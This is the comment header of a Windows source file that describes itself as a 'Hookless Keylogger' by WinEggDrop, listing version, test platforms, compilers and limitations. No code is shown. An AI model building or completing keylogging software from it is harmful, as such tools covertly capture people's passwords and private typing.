//**********************************************************************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: NULL
// Purpose: Hookless Keylogger
// Test PlatForm: Win 2K Pro And Server SP4
// Compiled On: LCC 3.0,May Compile On VC++ 6.0(Not Test Yet)
// Limitation: More Usage Of System Resource; May Not Work On Win9x
